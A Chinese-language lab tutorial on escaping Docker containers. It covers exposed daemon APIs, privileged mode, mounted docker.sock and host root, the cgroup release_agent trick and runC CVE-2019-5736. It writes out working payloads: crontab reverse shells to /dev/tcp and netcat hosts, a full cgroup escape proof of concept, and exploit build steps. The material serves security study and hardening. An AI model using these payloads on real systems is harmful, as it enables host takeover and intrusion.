浅析不同情况下Docker的逃逸方法

一、Docker逃逸

1、docker daemon api未授权访问

漏洞原理：在使用docker swarm的时候，节点上会开放一个TCP端口2375，绑定在0.0.0.0上，如果我们使用HTTP的方式访问会返回404 利用思路：通过挂在宿主机的目录，写定时任务获取SHELL，从而逃逸。

git clone https://github.com/vulhub/vulhub.git 

docker-compose build docker-compose up -d 

docker ps -a | grep rce 

访问ip:2375/version 

payload

import docker  client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data) 

2、privileged 特权模式启动容器

2.1、特权模式与非特权模式的区别

2.1.1、Linux Capabilities

• 普通模式下容器内进程只可以使用有限的一些 Linux Capabilities

在普通模式下可以手动自定义--cap-add参数自定义

• 特权模式下的容器内进程可以使用所有的 linux capabilities

特权模式下，容器内进程拥有使用所有的 linux capabilities 的能力，但是， 不表示进程就一定有使用某些 linux capabilities 的权限。比如，如果容器是以非 root 用户启动的， 就算它是以特权模式启动的容器，也不表示它就能够做一些无权限做的事情。

2.1.2、Linux敏感目录

• 普通模式下，部分内核模块路径比如 /proc 下的一些目录需要阻止写入、有些又需要允许读写， 这些文件目录将会以 tmpfs 文件系统的方式挂载到容器中，以实现目录 mask 的需求
• 
  
• 特权模式下，这些目录将不再以 tmpfs 文件系统的方式挂载

Tips: Tmpfs说明:

https://blog.51cto.com/u_11495268/2424414

2.1.3、任何内核文件都是可读写

• 普通模式下，部分内核文件系统(sysfs、procfs)会被以只读的方式挂载到容器中，以阻止容器内进程随意修改系统内核
• 
  
• 特权模式下，内核文件系统将不再以只读的方式被挂载

2.1.4、AppArmor与Seccomp

Tips

AppArmor： https://www.cnblogs.com/zlhff/p/5464862.htmlSeccomp： https://en.wikipedia.org/wiki/Seccomp

• 普通模式下，可以通过配置 AppArmor 或 Seccomp 相关安全选项 （如果未配置的话，容器引擎默认也会启用一些对应的默认配置） 对容器进行加固
• 特权模式下，这些 AppArmor 或 Seccomp 相关配置将不再生效

2.1.5、cgroup读写

• 默认模式下，只能以只读模式操作 cgroup
• 特权模式下，将可以对 cgroup 进行读写操作

2.1.6、/dev

• 普通模式下，容器内 /dev 目录下看不到节点 /dev 目录下特有的 devices
• 
  
• 特权模式下，容器内的 /dev 目录会包含这些来自节点 /dev 目录下的那些内容

2.1.7、SELinux

• 特权模式下，SELinux 相关的安全加固配置将被禁用。
• 普通模式下也可以通过对应的安全选项来禁用 SELinux 特性。

2.1.8、参考

https://mozillazg.com/2021/11/docker-container-difference-between-privileged-mode-and-non-privileged-mode.html

2.2、复现

2.2.1、启动特权容器

docker run -it --privileged ubuntu:18.04 

2.2.2、挂在宿主机目录

fdisk -l 

可以直接挂载宿主机的磁盘

mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/ 

查看宿主机的/etc/passwd 

查看root目录 

Tips： chroot命令 chroot命令 用来在指定的根目录下运行指令。chroot，即 change root directory （更改 root 目录）。在 linux 系统中，系统默认的目录结构都是以/，即是以根 (root) 开始的。而在使用 chroot 之后，系统的目录结构将以指定的位置作为/位置。 把根目录换成指定的目的目录

Ps: 在这遇到一个问题 https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/ 参考了这篇文章，但是这篇文章说，使用以下命令 cat /proc/self/status | grep CapEff如果返回的值为0000003fffffffff就是特权模式启动，但是我在我的centos中发现返回的值为0000001fffffffff，我也是特权模式启动 。

可是在Centos中的值如下图 

随后在ubuntu21.10的宿主机系统下载docker镜像ubuntu18.04，查看后发现结果为0000003fffffffff 

通过capsh命令可以看到，为0000001fffffffff和为0000003fffffffff就只相差一点 

2.2.3、写crontab 反弹shell

crontab -e * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1 

等待反弹即可 

3、挂载docker.sock

3.1、什么是docker.sock

/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具。

取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口（和地址）的端口，我们向其发送 TCP 请求并从中获取响应。

另一种类型的 Socket 是 Unix Socket，这些套接字用于IPC（进程间通信）。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信，而 IP 套接字使用网络。

Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求：unix, tcp, and fd. 默认情况下，在 /var/run/docker.sock 中创建一个 unix 域套接字（或 IPC 套接字）

3.2、创建docker

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 

随后在docker容器中安装docker

# ubuntu 18.04安装dockersudo apt-get update# 安装依赖包sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 添加 Docker 的官方 GPG 密钥curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 验证您现在是否拥有带有指纹的密钥sudo apt-key fingerprint 0EBFCD88# 设置稳定版仓库sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 更新$ sudo apt-get update# 安装最新的Docker-ce sudo apt-get install docker-ce# 启动sudo systemctl enable dockersudo systemctl start docker

安装完成之后我们使用docker ps就可以看到宿主机上的容器了。

3.3、复现

将宿主机的根目录挂载到容器

docker run -it -v /:/uzju ubuntu:18.04 /bin/bash 

chroot uzju 

可以看到宿主机root目录上的图片，反弹shell也是修改crontab即可。

3.4、反弹shell

通过修改Crontab定时任务来反弹shell

crontab -e  

* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/123 0>&1 

4、挂载宿主机根目录

如果在docker启动的时候挂载了宿主机的根目录，就可以通过chroot获取宿主机的权限。

docker run -it -v /:/uzju/ ubuntu:18.04 chroot /uzju/ 

4.1、反弹shell

还是一样可以通过crontab反弹shell

* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1 

5、Cgroup执行宿主机系统命令

通过notify_on_release实现容器逃逸

条件：

• 以root用户身份在容器内运行
• 
  
• 使用SYS_ADMINLinux功能运行
• 
  
• 缺少AppArmor配置文件，否则将允许mountsyscall
• 
  
• cgroup v1虚拟文件系统必须以读写方式安装在容器内

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 

POC

# In the container# 挂载宿主机cgroup，自定义一个cgroup，/tmp/cgrp/xmkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x# 设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent#  设置/tmp/cgrp/x的notify_no_release属性设置为1，通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agentecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agent# 写入自定义命令echo '#!/bin/sh' > /cmd# 结果在当前目录的output文件中echo "ps aux > $host_path/output" >> /cmdchmod a+x /cmd# 执行完sh -c之后，sh进程自动退出，cgroup /tmp/cgrp/x里不再包含任何任务，/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

随后查看cat output 

5.1、cgroup

cgroups 是Linux内核提供的一种可以限制单个进程或者多个进程所使用资源的机制，可以对 cpu，内存等资源实现精细化的控制，目前越来越火的轻量级容器 Docker 就使用了 cgroups 提供的资源限制能力来完成cpu，内存等部分的资源控制。

另外，开发者也可以使用 cgroups 提供的精细化控制能力，限制某一个或者某一组进程的资源使用。比如在一个既部署了前端 web 服务，也部署了后端计算模块的八核服务器上，可以使用 cgroups 限制 web server 仅可以使用其中的六个核，把剩下的两个核留给后端计算模块。

Cgroup主要限制的资源

• CPU
• 内存
• 
  
• 网络
• 
  
• 磁盘I/O 

5.2、notify_on_release

如果cgroup中使能notify_on_release，cgroup中的最后一个进程被移除，最后一个子cgroup也被删除时，cgroup会主动通知kernel。接收到消息的kernel会执行release_agent文件中指定的程序。

notify_on_release默认是关闭的，release_agent的内容默认为空，子cgroup在创建时会继承父cgroup中notify_on_relase和release_agent的属性。所以这两个文件只存在于cgroupfs的顶层目录中。

cgroup的每一个subsystem都有参数notify_on_release，这个参数值是Boolean型，1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用，当cgroup不再包含任何任务时（即，cgroup的tasks文件里的PID为空时），系统内核会执行release_agent参数指定的文件里的内容。

https://www.freebuf.com/vuls/264843.html

6、runC逃逸-CVE-2019-5736

6.1、影响版本

docker version <=18.09.2 RunC version <=1.0-rc6

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh 

下载Exploit

git clone https://github.com/Frichetten/CVE-2019-5736-PoC CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 

下载完之后改一下main.go 

这里改成在宿主机的/tmp写一个UzJu 

随后传入容器中 

然后我们在宿主机的/tmp目录中写一个UzJu 

运行exp 

然后我们在宿主机尝试去exec进入该容器 

可以看到执行成功了 

参考文章

• https://security.tencent.com/index.php/blog/msg/183
• https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
• https://mozillazg.com/2021/11/docker-container-difference-between-privileged-mode-and-non-privileged-mode.html
• https://stackoverflow.com/questions/35110146/can-anyone-explain-docker-sock
• https://www.educative.io/edpresso/var-run-dockersock
• https://www.cnblogs.com/fundebug/p/6723464.html
• https://gihyo.jp/admin/serial/01/linux_containers/0042?page=2
• https://qiita.com/miyase256/items/2ec5b5703ccd525e7ced
• https://tech.meituan.com/2015/03/31/cgroups.html
• https://blog.csdn.net/qq_38376348/article/details/122945600
• https://segmentfault.com/a/1190000040980305
• https://www.freebuf.com/vuls/264843.html